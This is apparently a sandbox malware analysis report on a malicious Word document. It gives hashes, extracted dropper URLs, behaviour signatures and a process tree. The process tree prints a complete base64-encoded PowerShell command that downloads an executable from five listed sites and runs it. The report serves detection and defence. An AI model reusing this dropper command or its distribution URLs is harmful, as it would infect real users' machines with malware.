Analysis

  • max time kernel
    103s
  • max time network
    61s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 22:08

General

  • Target

    sample.doc

  • Size

    169KB

  • MD5

    8a4a57846eea8faa5c726d61b5859c19

  • SHA1

    735149f6becbf5b4ffeb91ebdd7699151bffb3cf

  • SHA256

    7749011322a1fa88e88ac29e4663fc961f0b6ca6432e1257aefaceb28252a4c3

  • SHA512

    f3c33220e6b1582a9b9d67b4b45614b659165c06498a12d7427e666368e77b5fc02cadfd42abf535b8b550ef91d2768746f97a29891799492185ae673be0a07f

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:832

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/832-81-0x000007FEFBDA1000-0x000007FEFBDA3000-memory.dmp
      Filesize

      8KB

    • memory/832-85-0x00000000027EB000-0x000000000280A000-memory.dmp
      Filesize

      124KB

    • memory/832-84-0x000000001B7C0000-0x000000001BABF000-memory.dmp
      Filesize

      3.0MB

    • memory/832-82-0x000007FEF3750000-0x000007FEF42AD000-memory.dmp
      Filesize

      11.4MB

    • memory/832-83-0x00000000027E4000-0x00000000027E7000-memory.dmp
      Filesize

      12KB

    • memory/1048-86-0x0000000000000000-mapping.dmp
    • memory/1756-71-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-74-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-63-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-62-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-64-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-66-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-65-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-68-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-67-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-72-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-54-0x0000000072891000-0x0000000072894000-memory.dmp
      Filesize

      12KB

    • memory/1756-70-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-69-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-61-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-75-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-76-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-73-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-77-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-78-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-79-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-80-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-60-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-59-0x0000000000413000-0x0000000000417000-memory.dmp
      Filesize

      16KB

    • memory/1756-58-0x00000000712FD000-0x0000000071308000-memory.dmp
      Filesize

      44KB

    • memory/1756-57-0x00000000753B1000-0x00000000753B3000-memory.dmp
      Filesize

      8KB

    • memory/1756-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1756-55-0x0000000070311000-0x0000000070313000-memory.dmp
      Filesize

      8KB

    • memory/1756-88-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB